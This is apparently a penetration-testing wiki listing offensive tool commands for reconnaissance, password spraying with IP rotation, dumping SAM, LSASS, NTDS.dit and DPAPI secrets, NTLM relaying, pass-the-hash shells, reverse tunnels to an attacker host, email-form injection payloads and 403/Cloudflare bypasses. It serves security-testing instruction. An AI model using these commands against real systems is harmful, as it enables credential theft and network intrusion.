# What is Pentest List Wiki? Pentest List Wiki has been developed to provide the community with up-to-date information on the tooling and methodologies used within offensive and defensive Cyber Security. Many blogs and wikis exist that present this information. However, the focus of Pentest List Wiki is to ensure that the information that we are providing, is the current 'best' way to perform something and shows how to use the best tool for the job, as determined by [pentestlist.com](https://pentestlist.com) Pentest List Wiki does not claim ownership of any tools, methodology or research with regards to what is presented here and where possible, references to the relevant sources will be used. If we have missed a reference, do let us know and we will fix it immediately. # External Infrastructure How to security test External Infrastructure. # Discovery # Email Address Discovery How to find email addresses. ## Generic Email Address Discovery ### Email Finder Find emails via search engines using a domain. * `./emailfinder -d domain.com` ### emailGuesser Guess email addresses based on multiple inputs and preferences. The tool will then try and check that the generated email address is valid. * `python3 emailGuesser.py` ## o365 User Discovery ### OneDrive Enum Enumerate valid o365 users * `python3 onedrive_enum.py -t microsoft -d` [`microsoft.com`](http://microsoft.com/) `-U firstlastname.txt` ## G-Suite User Discovery ### G-Suite email finding Find valid email accounts using Gmail/G-Suite * `legba http.enum --payloads --http-success-string "COMPASS" --http-success-codes 204 --quiet --target "https://mail.google.com/mail/gxlu?email={PAYLOAD}@broadcom.com"` ## Email Address Discovery via LinkedIn ### linkedin2username Generate username lists for companies on LinkedIn * `python3 linkedin2username.py -u -c linkedin -p` ## Email Address Discovery via Third Party Sources The following websites actively track and record valid email addresses for marketing purposes. But, we can make use of them in offensive security too. * Hunter.io * # Subdomain Discovery How to find subdomains. ## bbot A recursive Internet scanner that will find information from various sources, such as Shodan, SecurityTrails, crt and many other solid data repositories. * `bbot -t -f subdomain-enum | tee output.txt` bbot can be messy. To clean up the output, use the following command: `cat /root/.bbot/scans/{scan_name}/output.txt | grep -F '[DNS_NAME]'| awk '{print $2}'` ## SubreconGPT Find more subdomains with GPT * [https://github.com/jhaddix/SubreconGPT]() `chaos -d | python subrecongpt.py --apikey YOUR_OPENAI_API_KEY` ## Find subdomains in dmarc Parse subdomains from dmarc.live * `python dmarc-subdomains.py -domain ` # Data Discovery How to find sensitive data. ## Cloud Bucket Checker Using this cloud Bucket checker from Grayhat Warfare, you can search millions of cloud buckets that may be associated with the entity you are testing. This may allow you to find sensitive data. For example, if your client is ACME, it is likely that their buckets may be named zyx-application-acme. So search Grayhat Warfare for "ACME": * ## Metadata Finder Search for documents (and metadata) in a domain using Search Engines (Google, Bing and Baidu). * `metafinder -d -l 20 -o lol` # Port & Service Discovery How to find open ports and services ## NMAP The best method to find open ports and services remains to be NMAP. **Quick Discovery Scan** This scan will only look for common TCP/UDP ports and uses a faster ping scan method. `nmap -sn -T4 -PE -PM -PP -PU53,69,161,500,514,520,1434 -PA21,22,23,25,53,80,443,513,8080,3389 -PS21,22,23,25,53,80,443,513,8080,3389 -n -r -vv -oA discovery -iL ipfile.txt` This scan will perform a thorough assessment and attempt to find any and all ports. **Longer Full Scan** `nmap -sT -n -Pn -p- -T3 --randomize-hosts --min-hostgroup 96 --max-retries 3 --min-parallelism 64 --max-scan-delay=5s --open -oA Full-TCP-Scan -iL ip-list.txt -vvv` * # Exploitation ## # Password Spraying How to password spray. ## Password list creation Before you begin spraying passwords to the email addresses you may have collated using methods shown in [Email Address Discovery](/offensive-security/external-infrastructure/discovery/email-address-discovery). You will need a good quality password list. Here's some things that you can use to create your password list: * Use * Use variations of the organisation name + special characters + the current year ### Cred Master A password spraying tool that uses FireProx to rotate IP addresses, stay anonymous, and beat throttling. CredMaster is perfect for attempting to login to the following services: ``` OWA - Outlook Web Access --plugin owa EWS - Exchange Web Services --plugin ews O365 - Office365 - DEPRECATED plugin removed ADFS - Active Directory Federation Services --plugin adfs O365Enum - Office365 User Enum (No Authentication Request) --plugin o365enum MSOL - Microsoft Online --plugin msol MSGraph - MSGraph Module, msgraph spray point for azure and MSOL credentials --plugin msgraph AzureSSO - Azure AD Seamless SSO Endpoint --plugin azuresso AzVault - AzVault Module, Azure spray point different to MSOL/AzureSSO --plugin azvault Okta - Okta Authentication Portal --plugin okta FortinetVPN - Fortinet VPN Client --plugin fortinetvpn HTTPBrute - Generic HTTP Brute Methods (Basic/Digest/NTLM) --plugin httpbrute GMailEnum - GSuite/Gmail enumeration --plugin gmailenum ``` * `python3 credmaster.py --access_key --secret_access_key --plugin msol -u email.txt -p passwords.txt -a useragents.txt -t 5 -j 20 -d 30 --passwordsperdelay 2` # Vulnerability Scanning How to find security vulnerabilities. ## Nessus The number one vulnerability scanner for infrastructure. * ## Nuclei Nuclei is a vulnerability scanner that is great for web applications and some network services. It uses community written templates to find thousands of issues * The following command will run a rate limited nuclei against all of the non-intrusive templates: `sudo nuclei -u URL -rl 50 -c 5 -t http/cnvd -t http/cves -t dns -t http/exposed-panels -t http/exposures -t file -t http/miscellaneous -t http/misconfiguration -t network -t http/osint -t http/takeovers -t http/technologies -t http/vulnerabilities -t dns` # Internal Infrastructure How to security test Internal Infrastructure # General Discovery # AD Attack Path Discovery How to find exploitable active directory paths. ## BloodHound * BloodHound can be used to map the relationships within Active Directory environments. It works by collecting data from any associated domain controllers and domain-joined Windows systems, and then plots the relationships within a queryable Neo4j graph. Attack paths can then be visualised. BloodHound works by using a data collector and an analysis tool. ### SharpHound Collector To compile the Active Directory objects and relationships, a BloodHound collector needs to be used within the target Active Directory environment. Typically, SharpHound, a C# data collector is used. * SharpHound will create several JSON files to use with the BloodHound analysis tool. The following command will execute SharpHound and collect all types of data: `SharpHound.exe --collectionmethods All` * Python Collector (Python) * * RustHound (Rust) * ### Analysis Following collection and now having compiled the Active Directory data, this can now be uploaded into the BloodHound analysis tool. Once uploaded, BloodHound will do the following things: * Map out the paths between Active Directory objects * Execute in-built queries to find common attack paths To ensure the best use of BloodHound, the following should be conducted: * Execute custom queries to find other attack paths * Mark nodes as "high value" or "owned" for best attack path finding For more information on using the analysis tooling, as well as SharpHound, do see the official docs: * # Port & Service Discovery How to find open ports and services on an internal network. ## NMAP The best method to find open ports and services remains to be NMAP. **Quick Discovery Scan** This scan will only look for common TCP/UDP ports and uses a faster ping scan method. `nmap -sn -T4 -PE -PM -PP -PU53,69,161,500,514,520,1434 -PA21,22,23,25,53,80,443,513,8080,3389 -PS21,22,23,25,53,80,443,513,8080,3389 -n -r -vv -oA discovery -iL ipfile.txt` This scan will perform a thorough assessment and attempt to find any and all ports. **Longer Full Scan** `nmap -sT -n -Pn -p- -T3 --randomize-hosts --min-hostgroup 96 --max-retries 3 --min-parallelism 64 --max-scan-delay=5s --open -oA Full-TCP-Scan -iL ip-list.txt -vvv` * # Credential Discovery # Passwords and NetNTLM How to find cleartext passwords and NetNTLM hashes. ## Responder * Responder is a spoofing tool that can ultimately lead to gaining hashed or even cleartext passwords. It works by acting as an authentication server and responds to various network protocols asking for a authentication credentials. Responder supports the following protocols for both IPV4 and IPV6: * SMB * MSSQL * HTTP * HTTPS * LDAP * DCE-RPC * FTP, POP3, IMAP, SMTP * DNS server. * WPAD Proxy Server. Responder is great for running on internal networks to capture credentials. The following command will run responder in verbose mode on the "eth0" interface and also force NTLM and Basic authentication (weak forms of authentication), where possible. `./Responder.py -I eth0 -Pv` When there is a requirement to be more stealthy, Responder can be executed in analyse mode which allows the viewing of requests, but will not spoof them: `responder -I eth0 --analyze` # SAM & LSA secrets How to find local user passwords, hashes and secrets. ## Overview Windows passwords are hashed and stored in the SAM and SECURITY registry hives. A breakdown of the important hives is shown below: **SAM** Stores locally cached credentials in LM or NT hash format. **SECURITY** Stores domain cached credentials (LSA secrets) in plaintext, LM or NT hash, kerberos keys (DES, AES), domain cached credentials (DCC1 and DCC2), as well as security questions (L$SQSA). **SYSTEM** This registry can be exported to aid decryption of the SAM secrets and LSA secrets. ## Remotely Dumping The SAM and LSA secrets can be dumped **remotely** by exporting the registry hives and then using a credential extraction tool. NetExec is a tool that will perform various remote network tasks, including dumping of the SAM and LSA secrets. * NetExec may be used to connect to a remote Windows host using various types of credentials. It should be noted that you are required to have local administrator privileges to do this: **Remote SAM/LSA secrets dump using domain user with local administrator privileges** `netexec smb -d -u -p <--sam/--lsa>` **Remote SAM/LSA secrets dump using local user with local administrator privileges** `netexec smb --local-auth -u -p <--sam/--lsa>` **Remote SAM/LSA secrets dump using pass-the-hash attack with local administrator user** `netexec smb -d -u -H <--sam/--lsa>` **Remote SAM/LSA secrets dump using pass-the-ticket attack with local administrator user** `netexec smb --kerberos <--sam/--lsa>` ## Local Dumping ### The Dump The SAM and LSA secrets can be dumped **locally** by exporting the registry hives locally and then using an offline credential extraction tool. The easiest way to export the registry hives is to use a local cmd prompt with the following commands: `reg save HKLM\SAM "C:\Windows\Temp\sam"` `reg save HKLM\SECURITY "C:\Windows\Temp\security"` `reg save HKLM\SYSTEM "C:\Windows\Temp\system"` These files can then be exfiltrated out of the Windows machine and onto your attack machine. ### Credential Extraction secretsdump.py performs various techniques to dump password hashes and secrets. * The command below should be used on your attack machine and be fed the registry files that you exported using the dump technique above: `secretsdump.py -sam '' -security '' -system '' LOCAL` # NTDS.dit secrets How to find sensitive data in NTDS.dit. ## Overview Windows domain controllers use a database file known as NTDS.dit (Windows NT Directory Services), to store Active Directory data and use it to manage domain and network resources. This file is very powerful with secrets extraction, as the extracted data can be used for many attack paths. ## Local Dumping (With or Without Credentials) **Dumping NTDS.dit** NTDS.dit can be dumped **locally** using the Windows ntdsutil.exe tool. This tool saves a snapshot of the Active Directory data. To use this tool, you must be on a domain controller via credentialled login or have gained access without credentials via other means. The following command should be used: `powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"` After executing ntdsutil.exe, the NTDS.dit, SYSTEM and SECURITY registry hives will be in c:\temp: **Credential Extraction** To extract the data from NTDS.dit, secretsdump.py can be used which performs various techniques to dump password hashes and secrets. * The following command will dump the NTDS.dit data: `secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit local` ## Remotely Dumping (With Credentials) NTDS.dit can be dumped **remotely** using secrets-dump. However, a domain administrator is required. secretsdump.py performs various techniques to dump password hashes and secrets. * **The following command will dump hashes from NTDS.dit** `secretsdump.py -just-dc-ntlm /@` # LSASS secrets How to find sensitive data in the LSASS. ## Overview In Windows, the Local Security Authority Subsystem Service (LSASS) is used to enforce security on the system. The LSASS service is used in various tasks, such as overseeing password changes and login, which means that credentials and hashes are stored within the memory for the LSASS process. With administrative rights, the credentials and hashes can be extracted. ## Local Dumping **Locally Dumping LSASS** ProcDump is a Windows tool from the sysinternals package and can be used to dump the process memory for LSASS. Due to being a Windows tool, this may be a more legitmate method of dumping LSASS than infiltrating other unsigned attack tools. * The following command will dump the LSASS memory to a .dmp file: `procdump.exe -accepteula -ma lsass.exe lsass.dmp` **Credential Extraction** Once the lsass.dmp file has been gained and exfiltrated offline to an attack machine. Mimikatz or pypykatz can be used to extract the data. * * After opening **mimikatz** on the attack machine, the following command should be used: `sekurlsa::minidump "lsass.dmp"` `sekurlsa::logonpasswords` After opening **pypykatz** on the attack machine, the following command should be used: `pypykatz lsa minidump lsass.dmp` ## Remotely Dumping (With Credentials) LSASS can be dumped **remotely** using lsassy, with local administrator credentials. lsassy is a project which ties together two other well known tools, impacket and pypykatz to gain data stored in LSASS . * **Dump LSASS credentials with plaintext credentials** `lsassy -d -u -p ` **Dump LSASS credentials with pass-the-hash (NTLM)** `lsassy -u -H ` **Dump LSASS credentials with pass-the-ticket (Kerberos)** * Requires an environment variable to be set, see [here](https://github.com/login-securite/lsassy/blob/master/Lsassy-Advanced-Usage#kerberos) `lsassy -k ` # DCSync How to find sensitive data using a DCSync. ## Overview A DCSync is similar to dumping a NTDS.dit file. However, rather than copying and extracting data from NTDS.dit, DCSync uses Windows APIs with the domain controller to replicate the domains data. To conduct this account, a domain administrator is requried or a user with the privileges: `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All`. ## Remotely performing a DCSync The easiest way to perform a DCSync is to use secretsdump. secretsdump.py performs various techniques to dump password hashes and secrets. * **DCSync using a plaintext password** `secretsdump -outputfile 'data' /:@` **DCSync using Pass-the-Hash** `secretsdump -outputfile 'data' -hashes : /@` **DCSync using Pass-the-Ticket** `secretsdump -k -outputfile 'data' /@` ## secretsdump output The secretsdump script will output the following files from the DCSync: * .ntds * LM and NT password hashes which can be used with hash cracking. * .cleartext * Passwords stored using reversible encryption * .kerberos * Kerberos keys (DES, AES128 and AES256) * .sam * Domain controller's SAM secrets * .secrets * Domain controller's LSA secrets # DPAPI secrets How to find local user sensitive data. ## Overview Windows uses the DPAPI (Data Protection API) to store sensitive data for various applications, such as Outlook, Web browsers and more. Windows also uses DPAPI to store certificates, Wi-Fi credentials, etc. The DPAPI data is secured by a user-specific master key and is stored within a users directory: `C:\Users\\AppData\Roaming\Microsoft\Protect` ## Remotely Dumping The DPAPI can be dumped **remotely** using DonPapi. However, a users password is required. * **Dump all secrets using a domain administrator account (requires local administrator):** ``` DonPAPI /:@ ``` **Dump all secrets using a local administrator account:** ``` DonPAPI -local_auth @ ``` **Dump secrets using a users password hash (Pass-The-Hash attack):** ``` DonPAPI --hashes : /@ ``` **Dump secrets using kerberos:** ``` DonPAPI -k /@ ``` **Dump secrets using a user with LAPS password reading rights:** ``` DonPAPI -laps /:@ ``` # Movement # Credential Spraying How to find and use internal credentials. ## Valid Credential Spraying When at least one valid username and password combination has been identified, valid credential spraying can be used to find where the account can login and find any escalated privileges. NetExec can be used to perform the password spray, where the valid credentials are used across a subnet of workstations to validate if the user can login and if they have any escalated privileges: * `nxc smb -d -u -p ` ## Known Password Spraying When a valid password has been identified or you have made an educated guess, you may want to spray the password against a range of accounts to find any successful credential combinations. NetExec can be used to perform the spray, where the password is used across a list of users to validate if the user and password combination is valid: * `nxc smb -d -u -p ` # SMB Relaying How to relay credentials. An SMB relay attack is performed when an attacker can capture a users NTLM hash and then pass it to another machine that has SMB signing disabled. The goal of this attack, is to relay a user account that has better privileges than you as an attacker currently have. Ideally, this would be a domain or local administrator, so you can utilize their privileges for further attack paths. It should be noted that SMB signing must be disabled on relayed targets, as when SMB signing is not disabled, the domain will know that you are not really the user that is being relayed. This is due to the relayed packet not being signed, so the domain it will not allow you to authenticate. ## NetExec (find relay targets) The first step in SMB relaying, is finding any hosts that can be relayed. NetExec can generate a list of targets for use with SMB relaying. This is hosts with SMB signing not required. * The following command can be used: `netexec smb --gen-relay-list ` Equipped with this list, you can move onto using the tools below. ## IPv4 Relaying - Responder + ntlmrelayx.py Responder is a tool that can be setup to act as listener on your local subnet and watch for any victim machines initiating NTLMv1/v2 authentication requests. Once a request is intercepted, Responder will forward it to ntlmrelayx, which then relays the authentication request to the target machine. If the relayed authentication request is for a standard domain user, a SMB shell within the target is spawned. However, if the account has local administrative privileges on the target machine, then it is possible to conduct many attacks. Such as dump the SAM file to get local password hashes and more. * * **The following should be conducted to execute responder without SMB and HTTPs to setup relaying:** * Edit the **/responder/Responder.conf** file * Disable SMB (SMB = Off) * Disable HTTP (HTTP = Off) Execute responder with the following command `responder -I eth0 -v` **The following command will execute ntlmrelayx with a list of target hosts to relay to:** `ntlmrelayx.py -tf -smb2support -i` With Responder and ntlmrelayx running, you should now see authentication requests being relayed. ## IPv6 Relaying - MITM6 + ntlmrelayx.py MITM6 (Man-In-The-Middle6) is an IPv6 tool that exploits Windows machines by taking over the default DNS server, as IPv6 takes precedence over IPv4. As a DNS server, MITM6 will selectively reply to DNS queries of the attackers choosing and redirect the victims traffic to the attacker machine. MITM6 is very powerful when paired with ntlmrelayx and as we're taking precedence using IPv6, we are forcing ourselves to receive requests. This means we can aim for bigger things, namely a domain administrator relay and use it with a domain controller. * * **The following command will execute MITM6 to start receiving requests:** `mitm6 -i eth0 -d ` **The following command will execute ntlmrelayx and relay to a domain contoller:** To expand, this command will relay the requests to LDAPS on a domain controller. It will also send the victim a fake WPAD file and dump any gathered data inoto a folder called ‘stuff’ on the local system. `ntlmrelayx -6 -t ldaps:// -wh fwpad.domain.com -l stuff` # Pass The Hash How to Pass The Hash Attack. A Pass The Hash attack utilises a known password hash to authenticate to other networked hosts. For example, if two built-in administrator accounts for two different hosts had the same password, their hash would be the same and if one hash was known, this can be used to login to the second host. There are various ways you might come across a password hash. For example, you might dump a machines SAM and SECURITY registry hive and find it there. No matter how you found it, you may now consider a Pass The Hash attack. ## Performing the attack ### NetExec NetExec can be used to perform a Pass The Hash attack. All you need is the username and the users NT password hash. If it is a domain user, you will also need to specify the domain. * `netexec smb --local-auth -u -H -x ` `netexec smb -d -u -H -x ` This will provide you with a command line shell on your target. ### **xfreerdp** By using xfreerdp, it is possible to gain a remote desktop connection into a host using Pass The Hash. * The following command can be used: `xfreerdp /u: /d: /pth: /v:` # Infiltration/Exfiltration # Pivoting (Proxying) How to pivot and proxy from an internal network ## Method 1: Ligolo-ng **Ligolo** is a *simple* and *lightweight* tool for establishing *SOCKS5* or *TCP* tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve). * **1) To run the proxy on your victim host:** `./ligolo.exe -connect : -ignore-cert` **2) To run the server on your attack host:** * Start server * `sudo ./proxy -selfcert -laddr 0.0.0.0:` * List session once established and see networks * `session` * `ifconfig` * Add a route into the network via ligolo TUN adapter * `sudo ip route add /24 dev ligolo` * start tunnel on ligolo * `tunnel_start` ## Method 2: SSH Reverse Proxy SSH can natively perform pivoting. In the example below, we have three machines: 1. The SSH server 2. The attack host 3. The victim host (in an internal network) * On your SSH server, setup an SSH key: * `ssh-keygen -C attacker@attacker` * Add the generated public key to your SSH servers authorized keys list * `/home//.ssh/authorized_keys` * On your victim host, upload the generated private key and run the following command * `ssh -i -R 1037 -N @` * On your attack host, make the reverse connection to the SSH server * `ssh -i -L 8008:localhost:1037 -vN @` * Now you have a connection from your attack host to the victim host and network * Now proxy any tools through the SOCKS proxy you created at 127.0.0.1:8008. * or use proxychains. ## Sending tools through a pivot (using Proxychains) proxychains forces any TCP connection made by any given application to follow through a proxy * **1) Setup Proxychains with an established SOCKS Pivot** * nano `/etc/proxychains.conf` * add `socks4 127.0.0.1 9050` **2) Execute tools using proxychains to route packets to local port 9050 and SSH forward to victim.** * `proxychains nmap -v -Pn -sT 172.16.5.19` * Only full TCP scans work, SYN scans send half packets that SOCKS doesn't like * `proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123` * `proxychains ` # Web Application How to security test a web application. # Discovery # Testing API Keys How to exploit an API key. ## Google Maps API Scanner If you have found a Google API key, you've probably found it because it's being using for Google Maps. However, just because it's used for Google Maps, doesn't mean the API key can't be used for more Google services. The following tool is great for testing what an API key is permitted to do: `python3 maps_api_scanner.py --api-key API_KEY` * # Vulnerability Scan How to vulnerability scan a web application and API. ### Nuclei Nuclei is a vulnerability scanner that is great for web applications and some network services. It uses community written templates to find thousands of issues * The following command will run a rate limited nuclei against all of the non-intrusive templates: `sudo nuclei -u URL -rl 50 -c 5 -t http/cnvd -t http/cves -t dns -t http/exposed-panels -t http/exposures -t file -t http/miscellaneous -t http/misconfiguration -t network -t http/osint -t http/takeovers -t http/technologies -t http/vulnerabilities -t dns` # Web Content Discovery How to discover files and directories. ## Web Application Content Discovery ### FeroxBuster feroxbuster uses brute force combined with a wordlist to search for web content. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, etc. * The following command will execute a rate limited web brute force using a wordlist of your choosing. It will present as a web browser and filter out unwanted status codes, like HTTP 404. Adjust the **--filter-lines** value after the first run, when you can determine how many lines a false positive page contains. `./feroxbuster -k -u --rate-limit 100 --scan-limit 1 -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36' --filter-status 404,403,400,503,401,429 --extract-links -w -n -t 100 --filter-lines 0` You may consider using content discovery wordlists from the following sources: * ## API Content Discovery ### KiteRunner Kiterunner is a tool that is capable of performing traditional content discovery but also bruteforcing routes/endpoints in modern applications that use APIs. * The following command will use the default Assetnote wordlist and filter out any unwanted status codes, like HTTP 404. Adjust the **--ignore-length** value after the first run, when you can determine how many lines a false positive page contains. `./kr scan -A=apiroutes-240128 --fail-status-codes 400,401,404,403,501,502,426,411 --ignore-length 999999` You may consider using content discovery wordlists from the following sources: * # Parameter Discovery How to discover web parameters. ## Arjun Arjun can find query parameters for URL endpoints. * The following command will execute a rate limited parameter brute force using a large default wordlist. The `--headers` argument is optional but should be used when session cookies or an authorization header is required. `arjun -u -w large -c 250 --headers "Cookie: "` # VHOST Discovery How to find virtual hosts on a web server. Web servers can be used to host many websites using multiple different domain names. In this scenario, the server IP address would remain the same but the host you are connecting to would change. There are two typical ways to define a virtual host: 1\) Using the "Host:" HTTP request header. 2\) Via the HTTPS Server Name Indication (SNI) phase of TLS. ## Performing VHOST Discovery Firstly, it should be noted that this is not recommended for web servers using CloudFlare. To perform VHOST discovery, gobuster can be used with a good wordlist. * Using this command, gobuster will brute force the target server for other VHOSTs. `gobuster vhost --wordlist --url ` ## Wordlists To be succesful with this discovery, a good wordlist should be used. We recommend using the following page to find a wordlist. Specifically, subdomains discovery wordlists can be used here. * # CMS Scanners How to review a Content Management System. A Content Management System (CMS) is used to provide easy website creation and management to end users. A CMS typically helps users setup blogs, online stores and brochureware websites. 70% or more of the internet is made up of common CMS systems, such as WordPress, Joomla and Shopify. ## Automated Scanners As a CMS is easy to identify and they are widely used in the same way, various scanners exist to look for known vulnerabilities and outdated technologies. The following list presents these scanners: **WordPress** * **WordPress, Joomla, Drupal and Moodle** * **Generic Web Technology** * [Wappalyzer](https://www.wappalyzer.com/) # Exploitation # Authentication How to exploit web application authentication # Email Address Forms How to exploit login and forgotten password forms. ## Email Address Form Payloads The following payloads can be used when attempting to exploit an email address form ### **Param Manipulation and CRLF Injection** Use these payloads to try and force the web application to send legitimate password reset emails and such, to a email address you control: * email=& * email=%<26test@test.com> * email=; * email=, * {”email”:””,””} * {”email”:\[””,””]} * email=%0D%0ABcc: * email=%0ABcc: * email=%0DBcc: * email=\r\nBcc: * email=\nBcc: * email=\rBcc: ### **Other checks (XSS, SSRF, SMTP Manipulation)** Use these payloads (which are all valid email addresses according to the RFC) to find other issues. * \@test.com * test\@test(\).com * "\"@test.com * "\r\nRCPT TO:\ * * test@\[burpcollab.com] # AWS Cognito How to exploit AWS Cognito. ### AWS Cognito Scanner AWS Cognito may be vulnerable in various ways. Often, user registration is permitted where a web application may not present user registration functionality. The following tool will help find these flaws: * `cognito-scanner account-creation --region=eu-west-3 --user_attributes=mymail@mail.com --client_id=pucXBthcyRvzwqj0WXG28DQeav --username='cognito_user' --password='R4nd0mP4$$word'` # JSON Web Tokens How to exploit JSON Web Tokens. ## JWT Tool JWT Tool is great for finding issues in JSON Web Tokens. It will help to identify the following issues: * JWT uses HS256 signing algorithm * JWT contains sensitive data * JWT does not expire * JWT permits a NULL signature * RS256 to HS256 ``` python jwt_tool.py -X a ``` * ## Cracking with Hashcat Use the following command to crack JWTs. `hashcat.exe -m 16500 /JWT.txt rockyou.txt --backend-ignore-cuda` JWT.txt should contain your JWT. Various password wordlists can be used. rockyou.txt is one example. * # Injection Attacks How to exploit injection attacks. # SQL Injection How to exploit SQL and noSQL Injection. ## **SQLMap** sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. * The following command will take a target HTTP request saved to a file called `HTTPREQUEST` and perform SQL injection on it. It will proxy all connections through to `127.0.0.1:8081,` which could be BurpSuite to monitor or manipulate the attack. It then sets the user agent to present itself as a browser to avoid blacklisting. This command will try to SQL inject any parameters where you place a \* in the HTTP request. This should be in any GET/POST/ parameters you see fit. `python sqlmap.py -r HTTPREQUEST --proxy https://127.0.0.1:8081 --force-ssl --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36` ## **noSQLMap** noSQLMap is an automated NoSQL database enumeration and web application exploitation tool. * The following command will take a target HTTP request saved to a file called `HTTPREQUEST` and perform noSQL injection on it. The parameters to inject are specified by the **-data** value. `nosqli.exe scan -r HTTPREQUEST -data username` # Cross-Site Scripting How to exploit cross-site scripting (XSS). ## Standard XSS ### Dalfox Dalfox is a powerful open-source XSS scanner and utility focused on automation. * The following command will take a HTTP request saved to a file named `HTTPREQUEST` and look for XSS, including blind XSS if you use the `-b` flag with a blind XSS URL. `dalfox file --rawdata HTTPREQUEST -b ` The following command will take a URL and look for XSS, including blind XSS if you use the `-b` flag with a blind XSS URL. `dalfox url URL -b ` ## Blind XSS ### XSSHunter XSSHunter provides a weaponised URL to insert into XSS payloads to test for blind XSS. The easiest way to use XSSHunter, is by using TruffleSecuritys own platform. * For those that are more security and privacy conscious. You may wish to setup a private instance: * # HTTP Headers How to exploit HTTP Headers. ## HTTP Header Issues ### Headi Headi is an automated HTTP header injection tool that will connect to a web server using various headers and monitor the responses for any potential weaknesses. * The following command will check for several header related issues on a URL. `headi -u URL` ## CRLF Vulnerabilities CRLF injection occurs when it is possible to insert CR and LF characters into a web application using user-supplied input. This may force the server, application, or user into interpreting the CRLF as the end of a response and the beginning of another which may lead to HTTP response splitting. ### CRLFuzz CRLFuzz is a tool to scan for CRLF vulnerabilities. * The following command will check for CRLF issues on a URL. `./crlfuzz -u ` # Bypasses # Cloudflare Bypass How to bypass Cloudflare. ## Context You may be in a situation where you come across a web resource protected by Cloudflare and you need to bypass it. Cloudflare is configured by giving control of the DNS records for a web resource, which then forces any traffic destined for the web resource to be firstly routed through Cloudflare before hitting the final destination servers. This enables the Cloudflare Web Application Firewall. ### How to Bypass Cloudflare As Cloudflare protects the web resource by presenting its own content delivery network, the only method to bypass Cloudflare is by finding the web resources real IP Address. Once the real IP address is known, it is possible to access the web server directly and avoid Cloudflare altogether. To following ways may lead to finding the real IP address: **Browsing the configured DNS records** Just because Cloudflare takes control of the DNS records does not mean that a web resource has been configured correctly or has even been enabled. Using a website such as mxtoolbox which presents a web resources DNS records can allow you to view any IP Addresses that may be set and could be non-Cloudflare. Special attention should be made to records such as MX (mail), as often these are forgotten about or not enabled with Cloudflare and so, present a real IP Address. * **Using a historical IP Address checker** Websites exists that track historical web data. As part of this data, they may keep logs of previous IP addresses that have been used by a web resource before Cloudflare was introduced. Once the real IP address is known, Cloudflare is bypassed. The following websites track historical IP addresses: * [securitytrails.com](https://securitytrails.com/dns-trails) * [sitereport.netcraft.com](https://sitereport.netcraft.com/) * [https://viewdns.info](https://viewdns.info/) **Subdomain Bruteforce** Looking for subdomains may lead to finding unprotected web resources. For example, if the protected website you are viewing is , it may be that https\://**development**.example.com is not protected by Cloudflare but still uses the same server and therefore, the same IP address. There are a variety of tools that can help look for subdomains, we recommend bbot: * ``` bbot -t evilcorp.com -f subdomain-enum | tee output.txt ``` **Using Web Functionality** Using the protected web application to send data back to yourself is a strong method to find it's real IP address. If you can have the web application send you a password reset email or a "thanks for contacting us" from the contact us form, you have a chance to look at the received email headers and viewing an potentially unprotected IP address. Any area of a web application that is able to call out to yourself in someway, such as a server you can monitor the connections for, is a potential bypass. **CloudFlare Scanner** An easy way to conduct most of the above, is use a tool to automate it: * ``` python3 cloakquest3r.py ``` # HTTP 403 Bypass How to bypass HTTP 403 statuses. ## Context You may be testing a web resource that is providing HTTP 403 Forbidden status codes for certain pages. In some instances, it may be possible to bypass the 403 status code. ### How to Bypass 403 Status Codes To potentially bypass 403 status codes, you must attempt to trick the server into believing you are authorised (and not forbidden). To do this, you might attempt to add the following HTTP headers to your web requests which tell a misconfigured server that you are the server itself (localhost): ``` Client-IP: 127.0.0.1 Forwarded-For-Ip: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded-For: localhost Forwarded: 127.0.0.1 Forwarded: localhost True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forward-For: 127.0.0.1 X-Forward: 127.0.0.1 X-Forward: localhost X-Forwarded-By: 127.0.0.1 X-Forwarded-By: localhost X-Forwarded-For-Original: 127.0.0.1 X-Forwarded-For-Original: localhost X-Forwarded-For: 127.0.0.1 X-Forwarded-For: localhost X-Forwarded-Server: 127.0.0.1 X-Forwarded-Server: localhost X-Forwarded: 127.0.0.1 X-Forwarded: localhost X-Forwared-Host: 127.0.0.1 X-Forwared-Host: localhost X-Host: 127.0.0.1 X-Host: localhost X-HTTP-Host-Override: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Remote-Addr: localhost X-Remote-IP: 127.0.0.1 ``` An easy way to conduct the above, is use a tool to automate it: * ``` ./bypass-403.sh url path ``` * ``` ./403jump -t ``` # Mobile (iOS/Android) How to security test iOS and Android applications. # iOS How to perform an iOS Security Assessment # IPA Decryption How to decrypt and IPA file. If an IPA file is retrieved from the apple store, it must be decrypted. ## **Decrypting an IPA** Firstly, using your iOS testing device, download the IPA from the app store ### Frida Dump To retrieve the IPA file, you can use Frida Dump. You will need an iOS testing device and a Mac. * To setup Frida Dump on your iOS testing device and Mac, conduct the following steps: 1. (On phone) Add the Frida source to your JailBreak app 1. 2. (on mac) use the command 1. `iproxy 2222 22` 3. (on mac) use the command 1. `python3 dump -l` 4. (on mac) use the command 1. `python3` [`dump.py`](http://dump.py) `-o ~/Desktop/ ` 5. (on mac) use the command 1. `unzip ` Now check if IPA binary is encrypted or not (on mac) using the following command: * `otool -l Payload//app_binary | grep cryptid` * 1 = encrypted * 0 = not encrypted # Filesystem Analysis How to analyse an iOS filesystem. ## Basic Checks Each app is given a unique 32 char UUID which represents its App directory sandbox location Each app is also given a unique 36 char Data-UUID which contains all the application data. * The app IPA package can be found at the following location * `/private/var/containers/Bundle/Application/UUID/App.app` * This application should be reviewed separately using decompilation and other techniques * The Info.plist file is located at the following location (check for hard coded secrets) * 